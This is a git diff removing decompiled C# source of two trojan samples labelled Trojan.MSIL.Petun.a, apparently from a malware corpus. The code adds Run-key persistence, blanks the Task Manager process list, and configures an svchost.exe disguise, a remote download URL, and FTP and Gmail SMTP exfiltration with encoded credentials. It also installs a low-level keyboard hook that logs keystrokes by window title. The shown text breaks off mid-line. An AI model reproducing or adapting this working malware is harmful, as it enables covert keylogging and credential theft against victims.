C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyProject.cs deleted file mode 100644 index a07ce94d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/ROS.cs deleted file mode 100644 index 63f732ee..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\LQBtCf", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.bEIWT, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 5e3c34cc..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {8AC91DBA-AFFC-4503-B96F-DB0E1A44CB6C} - WinExe - SA - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index bf2e4ee6..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SA", "Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.csproj", "{8AC91DBA-AFFC-4503-B96F-DB0E1A44CB6C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {8AC91DBA-AFFC-4503-B96F-DB0E1A44CB6C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8AC91DBA-AFFC-4503-B96F-DB0E1A44CB6C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8AC91DBA-AFFC-4503-B96F-DB0E1A44CB6C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8AC91DBA-AFFC-4503-B96F-DB0E1A44CB6C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/srIMO.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/srIMO.cs deleted file mode 100644 index 0a20ad9a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/srIMO.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: srIMO -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using System; -using System.Threading; - -internal class srIMO : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public srIMO(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/zkSU.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/zkSU.cs deleted file mode 100644 index e7f27d9f..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/zkSU.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zkSU -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class zkSU -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - zkSU.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) zkSU.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - zkSU.EnumChildWindows(window, new zkSU.EnumDelegate(zkSU.EnumChildWindows), 0); - } - - public static bool Running - { - get => zkSU.t.Enabled; - set - { - if (value) - { - if (zkSU.t.Interval != 500) - { - Timer t = zkSU.t; - zkSU.t.Tick += new EventHandler(zkSU.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - zkSU.t.Enabled = true; - zkSU.t.Start(); - } - } - else - { - zkSU.t.Enabled = false; - zkSU.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = zkSU.GetClass(lngHwnd); - string titleText = zkSU.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - zkSU.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - zkSU.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (zkSU.GetWindowTextLength(handle) + 1); - zkSU.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Module1.cs deleted file mode 100644 index 433b0883..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: VIP Beta, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A8E387DC-8A6A-4BD3-92A3-0B30F1158D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-f6780aaf9a246d61845253985a2994e100ae08d0fe536847c62906662350b121.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool brhjbBdI = false; - private static bool QyylmNWi = false; - private static bool wqJGdNXd = false; - private static bool SycrYexG = true; - private static bool EMpRCSW = false; - private static bool fzqhuFn = false; - private static string TkWaBol = "10"; - private static string OadrNPY = "C:\\Windows\\system32\\catroot"; - private static int hWCLMKP = 3; - private static string LNFetlWEG = "LSjK"; - public static string PlkNtLxCb = "LocalMachine"; - private static string pBSgCpzXS = "Hide"; - private static string qotRXeJWV = "tNVKpllkoa"; - private static string kFhmzwfsS = "svchost.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = true; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool qQbVnXtdo = false; - private static string TwxelEMC = "http://www.exampleserver.com/directfile.exe"; - private static bool vXWmcfWv = false; - private static string BLtthhIR = "setup.exe"; - private static bool qcgGtrl = true; - private static bool WdIVUkoqi = false; - private static string lyver = "LHs1gVoZGRA="; - private static string vKSTc = "ftp.exampleserver.com"; - private static string OpKoN = "LHs1gVoZGRA="; - private static string xQzWG = "/"; - private static string htwLhir = "smtp.gmail.com"; - private static string vpfLUVT = "va4C+mKJjyoPHlFwX8PHw6P/1HYz89JW"; - private static string KaehYxN = "vJA+FZlk09VXGq1ZZ9vNKQ=="; - private static string bpzUiVI = "fukompgh@gmail.com"; - private static string RVuVga = "587"; - private static string NJUlBW = "{"; - private static string RwRXeU = "}"; - private static bool kqxcpo; - private static bool qjUCEY; - private static bool XwwXgs = true; - private static bool jKVPhR = true; - private static bool vNbjktRM = true; - private static bool okkinZfm = true; - private const int MWcYkCDY = 257; - private const short TmukQLMK = 256; - private const int qHKNFeH = 260; - private const int IVgPOCn = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string DgLJqfzp; - - public static string smFCYISY - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string tXmTasBq - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string yZLbe - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string Gplau - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string ttgTt - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.mRPwlGwn lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int ztBerqH(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string nbNoLXl() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object fxuSnMS() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void UCqLCrG() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.YQpSwhd); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void idHWoJc() - { - try - { - if (!Conversions.ToBoolean(Module1.fxuSnMS()) || Module1.ztBerqH((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string vbWXVaL( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int YQpSwhd(int Code, int wParam, ref Module1.mRPwlGwn lParam) - { - int num; - try - { - object obj = (object) Module1.nbNoLXl(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.DgLJqfzp = Conversions.ToString(Operators.ConcatenateObject((object) Module1.DgLJqfzp, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.NJUlBW), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.RwRXeU), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.DgLJqfzp.EndsWith(Module1.RwRXeU + "\r\n") | !Module1.jKVPhR | Module1.DgLJqfzp.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.DgLJqfzp = Module1.DgLJqfzp.Remove(checked (Module1.DgLJqfzp.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.XwwXgs) - { - Module1.qjUCEY = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.kqxcpo) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.kqxcpo | Module1.qjUCEY) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.kqxcpo ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.kqxcpo ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.XwwXgs) - { - Left = " [kqxcpo] "; - break; - } - Module1.kqxcpo = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.kqxcpo) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = 